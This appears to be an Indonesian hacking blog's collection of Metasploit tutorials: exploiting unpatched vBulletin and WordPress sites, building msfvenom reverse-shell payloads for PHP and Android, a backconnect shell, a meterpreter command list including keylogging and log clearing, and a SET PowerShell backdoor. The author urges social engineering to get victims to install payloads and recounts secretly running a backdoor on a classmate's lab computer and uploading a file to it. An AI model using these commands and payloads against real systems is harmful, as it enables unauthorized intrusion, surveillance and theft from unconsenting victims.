Open top menu
Showing posts with label Metasploit. Show all posts
Showing posts with label Metasploit. Show all posts
Wednesday, November 18, 2015
Eksploitasi CMS vBulletin 5.1.2 dengan Metasploit

Kali ini saya akan share tutorial eksploitasi vBulletin 5.1.2 dengan Metasploit. Meskipun saat ini vb sudah melakukan upgrade, namun masih banyak website yang belum mengupdate vb nya ke versi terbaru, jadi masih menyimpan celah.

Pertama, tambahkan module berikut ke metasploit :

https://dl.packetstormsecurity.net/1511-exploits/vbulletin_unserialize.rb.txt

Tutorialnya bisa dilihat disini :

Cara Menambahkan Exploit Baru ke Metasploit



Saat di load via msfconsole, ada beberapa opsi  yang perlu kalian set hanya RHOST dan TARGETURI.

TARGETURI isi dengan path vbulletin diistall, RHOST isi dengan host target / url .





Jika belum jelas, bisa lihat video tutorialnya berikut :

https://www.youtube.com/watch?v=SgTe0d30nqs
Read more
Tuesday, November 3, 2015
no image


Yooshh.. jumpa lagi kali ini saya akan share tutorial Wordpress Ajax Load More PHP Upload Vulnerability. Exploit ini membutuhkan metasploit. Jadi yang belum install , bisa install dulu. Exploit source nya dari Exploit-DB .

Langsung saja ke tutorial.


Download Exploit nya disini : https://www.exploit-db.com/exploits/38660/


Tambahkan module diatas ke metasploit kalian . Jika masih ada yang bingung bisa lihat di artikel ini :





Ada opsi berikut di Exploit nya :

RHOST : isi dengan host dari target kalian.

TARGETURI : isi dengan path dimana wordpress berada. contoh /blog , /wordpress, atau bisa juga di root path nya .

WP_USERNAME : isi dengan username wordpress nya.

WP_PASSWORD : isi dengan password wordpress nya.



Untuk lebih jelasnya bisa lihat video nya di link berikut :


Wordpress Ajax Load More PHP Upload Vulnerability


Lalu bagaimana cara patch nya ?

Upgrade plugins kalian ke versi terbaru. Karena exploit ini hanya bisa sampai di versi 2.8.1.1





Sekian tutorial kali ini dan happy exploiting.

Read more
Friday, October 30, 2015
Menambahkan Exploit Baru di Metasploit BackBox Linux

Kali ini saya akan share tutorial menambahkan modul exploit baru di metasploit BackBox Linux. kadang ada exploit baru yang secara default belum ditambahkan di backbox linux. Contohnya modul exploit yang bisa dijumpai di Exploit-DB .





Semua exploit yang dipublish oleh user metasploit memerlukan tools metasploit untuk menjalankannya.

Sebagai contoh kali ini saya akan mencoba menambahkan exploit Nibbleblog File Upload ke Metasploit BackBox Linux.

Exploit Source :

https://www.exploit-db.com/exploits/38489/



Buka terminal :


root@unixsystem:/home/uzumaki# cd /opt/metasploit-framework/modules/exploits/

Selanjutnya buat folder baru. Untuk memudahkan karena saya ingin mengelompokkan exploit hanya dari exploit-db, saya buat folder exploit-db .


root@unixsystem:/opt/metasploit-framework/modules/exploits# mkdir exploit-db



Pindah ke dir exploit-db


root@unixsystem:/opt/metasploit-framework/modules/exploits# cd exploit-db



Modul exploit untuk metasploit selalu ditulis dengan bahasa ruby. Sehingga saat menyimpan kita save dengan ekstensi .rb


root@unixsystem:/opt/metasploit-framework/modules/exploits/exploit-db# wget https://www.exploit-db.com/download/38489 -O nibbleblog.rb





Sampai disini kita sudah menambahkan exploit baru ke metasploit kita.

Bagaimana cara menggunakannya ?


unixsystem% sudo msfconsole





Selanjutnya, karena kita tadi menyimpan di folder exploit-db , kita panggil dengan command 


msf > use exploit/exploit-db/nibbleblog





Ketik perintah show options untuk melihat command yang bsia kita pakai.


msf exploit(nibbleblog) > show options











Sekian tutor kali ini dan semoga bermanfaat.
Read more
Tuesday, October 6, 2015
Command List Lengkap Meterpreter Session Metasploit

Bagi yang suka mainan Metasploit tentu tidak asing dengan yang nama nya "meterpreter" . Ya, meterpreter ibarat kemenangan karena itu adalah tanda kita sudah mendapatkan kontrol dari Operating System milik korban. Dan kali ini saya akan share command list yang bisa kita gunakan saat sudah masuk ke meterpreter session.







1. Perintah Dasar




  • ? - menu untuk menampilkan command bantuan.

  • background - memindahkan sesi meterpreter ke background

  • bgkill - kill meterpreter yang berjalan di background

  • bglist - menampilkan list proses yang berjalan di background.

  • bgrun - menjalankan script sebagai latarbelakang.

  • channel - menampilkan channel aktif.

  • close - menutup channel.

  • exit / quit - menutup meterpreter session.

  • help - menu bantuan.

  • interact - berinteraksi dengan channel.

  • irb - pindah ke mode script Ruby.

  • migrate - memindahkan proses dengan disertai PID.






2. File System Command.




  • cat - membaca dan membuka file tertentu.

  • cd - change directory

  • del - menghapus file di victim os.

  • download - mendownload file dari victim os ke komputer kita.

  • edit - edit file menggunakan vim.

  • getlwd - melihat direktori lokal.

  • lpwd - print local directory

  • ls - melihat list direktori.

  • mkdir - membuat direktori /folder

  • pwd - print working directorymelihat lokasi dimana kita berada.

  • rm - menghapus file

  • rmdir - menghapus folder

  • upload - mengupload file ke komputer korban.






3. Networking Commands




  • ipconfig - melihat network interfaces korban

  • portfwd - forfarding port dari system ke victim.

  • route - mengubah routing table pada victim os.






4. System Command.




  • clearav - menghapus log di victim os.

  • execute - eksekusi cmmand

  • getpid - meilhat proses ID (PID)

  • getprivs - melihat hak akses

  • getuid - melihat user yang berjalan di server.

  • kill - kill proses berdasarkan PID

  • ps - melihat proses yang berjalan.

  • reboot - me reboot os korban

  • reg - berinteraksi dengan registry sistem di os korban.

  • shell - membuka command shell di os korban.

  • shutdown - mematikan os korban.

  • sysinfo - melihat system info.






5. User Interface Command




  • enumdesktops - melihat dekstop yang aksesible

  • getdesktop - masuk ke desktop meterpreter saat ini

  • idletime - melihat waktu diam dari meterpreter session

  • keyscan_dump - dump dari isi keylogger

  • keyscan_start - menjalankan keylogger

  • keyscan_stop - menghentikan keylogger

  • screenshot - screenshoot desktop






6. Privilege Escalation Commands




  • getsystem - metode untuk mendapatkan hak akses system administrator.


Read more
Tuesday, September 29, 2015
Hack All Operating System with PHP Payloads Metasploit Framework

Oke kali ini saya akan share cara mendapatkan meterpreter session pada metasploit menggunakan backdoor PHP. Yang akan saya terangan hanya pokok pokok nya saja. Jadi bagi yang belum paham samasekali bisa baca di " Hack Windows 7 with S.E.T + Metasploit on BackBox Linux ".

Oke, kali ini kita akn buat backdoor nya.

root@backbox:/home/jackwilder# msfvenom -p php/meterpreter/reverse_tcp LHOST=[ip kita] LPORT=666 -e php/base64 --platform php > payload.php





Oke saya jelaskan keterangannya :


-e : encode menggunakan php base64.


--platform : platform yang akan digunakan.





Nanti output nya adalah file bernama payload.php .


File tadi masih bentuk mentah tanpa awalan <?php .


Kalian bisa menyisipkan payload tadi di file lain.


Lalu buka metasploit.






root@backbox:/home/jackwilder# msfconsole




msf > use exploit/multi/handler


msf exploit(handler) > set payload php/meterpreter/reverse_tcp


payload => php/meterpreter/reverse_tcp


msf exploit(handler) > set LHOST 127.0.0.1


LHOST => 127.0.0.1


msf exploit(handler) > set LPORT 666


LPORT => 666


msf exploit(handler) > exploit





[*] Started reverse handler on 127.0.0.1:666 


[*] Starting the payload handler...






Tunggu sampai target mengeksekusi payloads.




Welcome meterpreter session.





bagi yang kurang jelas bisa lihat video nya disini :

Hack Kali Linux OS with PHP Payloads BackBox Linux



Sekian tutor kali ini semoga bermanfaat,
Read more
Sunday, September 6, 2015
no image

Assalamualaikum..

Kali ini saya akan share tutorial hack android dengan Metasploit di Backbox Linux. Tapi tentu saja kita membutuhkan payloads yang akan dijadikan umpan .

Pertama, buka terminal dan jalankan perintah ifconfig

Ini untuk mengetahui ip kita yang akan digunakan sebagai lhost nya.

Lalu masukkan perintah berikut :

root@sistem:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=[ip kita] LPORT=1337 R > payload.apk

payload.apk ini yang akan digunakan sebagai payloads. Terserah dinamai apa.



Lalu buka msfconsole.

root@sistem:~# msfconsole

msf > use exploit/multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp

payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST [ip kita]

LHOST => 192.168.1.67

msf exploit(handler) > set LPORT 1337

LPORT => 1337



msf exploit(handler) > exploit



Setelah itu, kita share payload.apk tadi ke Android korban. Dan korban harus menginstall nya. Terserah pakai cara apa. Gunakan social engineering mu.

Dan tunggu di terminal mu sampai masuk ke meterpreter session.



[*] Started reverse handler on 10.11.12.29:1337

[*] Starting the payload handler...

[*] Sending stage (769536 bytes) to 10.11.12.179

[*] Meterpreter session 1 opened (10.11.12.29:1337 -> 10.11.12.179:49164) at 2015-9-03 02:07:42 +0700



Sekian tutor kali ini semoga bermanfaat.
Read more
Sunday, May 10, 2015
Tutorial Backconnect Menggunakan Metasploit

banyak cara untuk Backconnect, ada yang pakai netcat, weevely, dan kali ini saya akan share cara backconnect menggunakan Metasploit. Oke langsung saja ke tutorial nya .

Syarat : IP harus statis. Untuk IP dinamis akan gagal saat binding port nya soalnya.

Oke langsung ke praktik nya .

Buka terminal, masukkan command berikut :

jackwilder@system ~ % su -

root@system:~# msfconsole



Masukkan Command berikut :

msf > use exploit/multi/handler

msf exploit(handler) > set lhost  192.168.1.135 | untuk setting ip lokal kita

msf exploit(handler) > set lport 1337 | port yang akan digunakan untuk listening



Setelah itu kita lihat sevver OS pada korban, berhubung dia mengunakan 64bit, kita masukkan command

msf exploit(handler) > set payload linux/x64/shell/reverse_tcp

msf exploit(handler) > exploit



[*] Started reverse handler on 192.168.1.135:1337

[*] Starting the payload handler...








Setelah itu masuk ke shell kita.


Masuk menu Netsploit , pada menu backconnect masukkan ip lokal kita, dan port yang kita gunakan untuk listening.


Lalu klik connect





Now script try connect to 192.168.1.135 port 1337 ...



Balik lagi ke terminal kita.

[*] Started reverse handler on 192.168.1.135:1337 

[*] Starting the payload handler...

[*] Sending stage (38 bytes) to 192.168.1.135

[*] Command shell session 2 opened (192.168.1.135:1337 -> 192.168.1.135:38718) at 2015-05-10 22:24:47 +0700



Linux system 4.0.0-040000-generic #201504121935 SMP Sun Apr 12 23:36:33 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

uid=1(daemon) gid=1(daemon) groups=1(daemon)







Backconnect


Sekian tutor kali ini, semoga bermanfaat.

Read more
Monday, January 19, 2015
How to Fix Metasploit's Gems Error after Upgrading BackBox Linux

Jadi cerita nya tadi habis upgrade BackBox Linux, setelah nunggu sekitar 15 menit, upgrade selesai, tapi kok pas nyoba metasploit, ada error nya. :( . Pas nyoba command " msfconsole" ada error "Could not find metasploit-credential-0.13.11 in any of the sources" .







Terus gimana dong ?Jangan panik. Hehehe.

Sekarang mari kita perbaiki metasploit kita.

Berhubung yang error tadi metasploit-credential , maka command nya adalah

root@yunivita:~# gem install metasploit-credential -v 0.13.11 .

Kalo misal yang error bacaannya "Could not find meterpreter_bins-0.0.12 in any of the sources" maka cara fix nya

root@yunivita:~# gem install meterpreter_bins -v 0.0.12



Begitu seterus nya sampai metasploit nya normal kembali.

Its work for me :)







Sekian posting kali inis emoga bermanfaat.
Read more
Tuesday, December 2, 2014
Hack Windows 7 with S.E.T + Metasploit on BackBox Linux

Oke kali ini saya akan share tutorial cara meremote komputer korban dengan metasploit. Tools ini sudah tersedia di distro pentest linux seperti backbox, backtrack, kali linux, blackbuntu dll. Yang saya gunakan disini adalah BackBox Linux. saya akan mempraktekkan cara meremote komputer target yang berada dalam satu jaringan. Victim menggunakan OS Windows 7 dan Firewall dalam keadaan aktif. Oh iya, doi juga pake antivirus Avast. jadi kalo cuma pake backdoor biasa untuk membuka meterpreter session, dijamin backdoor mu dihajar sama avast sebelum sempet di eksekusi.

Pertama, kita buat backdoor dulu. Disini kita menggunakan Social Engineering Toolkit yang sudah tersedia di BackBox.

root@backbox:~# setoolkit .

[*] Checking to see if bleeding-edge repos are active.

[!] Bleeding edge repos were not detected. This is recommended.

Do you want to enable bleeding-edge repos for fast updates [yes/no]: no

[:(] Your loss! Bleeding edge provides updates regularly to Metasploit, SET, and others!

[-] New set_config.py file generated on: 2014-12-02 09:52:26.378618

[-] Verifying configuration update...

[*] Update verified, config timestamp is: 2014-12-02 09:52:26.378618

[*] SET is using the new config, no need to restart



Select from the menu:



   1) Social-Engineering Attacks

   2) Fast-Track Penetration Testing

   3) Third Party Modules

   4) Update the Social-Engineer Toolkit

   5) Update SET configuration

   6) Help, Credits, and About



  99) Exit the Social-Engineer Toolkit



set> 1

Pilih nomor satu, Social-Engineering Attacks

 Select from the menu:



   1) Spear-Phishing Attack Vectors

   2) Website Attack Vectors

   3) Infectious Media Generator

   4) Create a Payload and Listener

   5) Mass Mailer Attack

   6) Arduino-Based Attack Vector

   7) Wireless Access Point Attack Vector

   8) QRCode Generator Attack Vector

   9) Powershell Attack Vectors

  10) Third Party Modules



  99) Return back to the main menu.



set> 9

Pilih nomor 9, karena kita akan membuat Powershell Attack Vectors



1) Powershell Alphanumeric Shellcode Injector

   2) Powershell Reverse Shell

   3) Powershell Bind Shell

   4) Powershell Dump SAM Database



  99) Return to Main Menu



set:powershell>1

pilih Powershell Alphanumeric Shellcode Injector



set> IP address for the payload listener: 10.11.12.29 <= isi dengan ip kita. cek di ifconfig.

set:powershell> Enter the port for the reverse [443]:6969 <= isi port terserah.

[*] Prepping the payload for delivery and injecting alphanumeric shellcode...

[*] Generating x86-based powershell injection code...

[*] Finished generating powershell injection bypass.

[*] Encoded to bypass execution restriction policy...

[*] If you want the powershell commands and attack, they are exported to /home/jackwilder/.set/reports/powershell/

set> Do you want to start the listener now [yes/no]: : no

[*] Powershell files can be found under /home/jackwilder/.set/reports/powershell/








Pembuatan Undetected Backdoor



Disitu tertulis "Powershell files can be found under /home/jackwilder/.set/reports/powershell/" . Coba buka folder nya, ... ketemu.

File nya masih txt.

Rename jadi bentuk bat / cmd . Terserah.

Saatnya Social Engineering on action :D








Lokasi backdoor yang dibuat dengan SET



Tugas mu adalah menyebarkan file backdoor yang kamu buat tadi dan korban harus mengeksekusinya.

Berhubung
saya anak lab, gampang aja :v . Tinggal dalih mau copy tugas, bawa
flashdisk mu, tancepin kesana, ya sambil copy tugas beneran gak apa apa,
klik sendiri program nya :v .

Sampai disini bisa dibilang kita sudah melangkah 60% lah :D

Balik lagi ke BackBox kesayangan mu, buka metasploit.



root@b0x:~# msfconsole

       =[ metasploit v4.10.1-dev [core:4.10.1.pre.dev api:1.0.0]]

+ -- --=[ 1344 exploits - 739 auxiliary - 217 post        ]

+ -- --=[ 340 payloads - 35 encoders - 8 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]



msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 10.11.12.29 <= sesuaikan denan ip yang ada di backdoor

LHOST => 10.11.12.29

msf exploit(handler) > set LPORT 6969 <= sesuaikan dengan port yang ada di backdoor

LPORT => 6969

msf exploit(handler) > exploit








Metasploit on Action



And.....

[*] Started reverse handler on 10.11.12.29:6969

[*] Starting the payload handler...

[*] Sending stage (769536 bytes) to 10.11.12.179

[*] Meterpreter session 1 opened (10.11.12.29:6969 -> 10.11.12.179:49164) at 2014-12-01 02:07:42 +0700




Meterpreter Session



Welcome to Meterpreter Session.. honey... :*



meterpreter > sysinfo

Computer        : ISIS-PC << anggota ISIS dia wakakakaka :v .

OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : id_ID
Meterpreter     : x86/win32




meterpreter > run vnc

[*] Creating a VNC reverse tcp stager: LHOST=10.11.12.29 LPORT=4545

[*] Running payload handler

[*] VNC stager executable 73802 bytes long

[*] Uploaded the VNC agent to C:\Users\isis\AppData\Local\Temp\pggDswu.exe (must be deleted manually)

[*] Executing the VNC agent with endpoint 10.11.12.29:4545...

[*] Failed. Maybe used by another program.


Gagal membuka desktopnya :(

kemungkinan file pggDswu.exe yang diupload dihajar sama avast.



Kalo pengen ngebuka cmd nya, lakukan perintah berikut

meterpreter > execute -M -f cmd.exe -i
Process 2404 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.




Sebenernya masih banyak yang bisa dilakukan disini. tapi berhubung ane cuma iseng ane upload aja file koleksi ane ke victim .



meterpreter > upload /home/jackwilder/jembut/oww/wkwk/fucking_time.mp4 D:

[*] uploading /home/jackwilder/jembut/oww/wkwk/fucking_time.mp4

[*] uploaded /home/jackwilder/jembut/oww/wkwk/fucking_time.mp4 > D:\fucking_time.mp4


meterpreter >



Sekian yang dapat saya berikan.

At least .Hack the Gibson...and remember...hugs are worth more than handshakes. ;)

Read more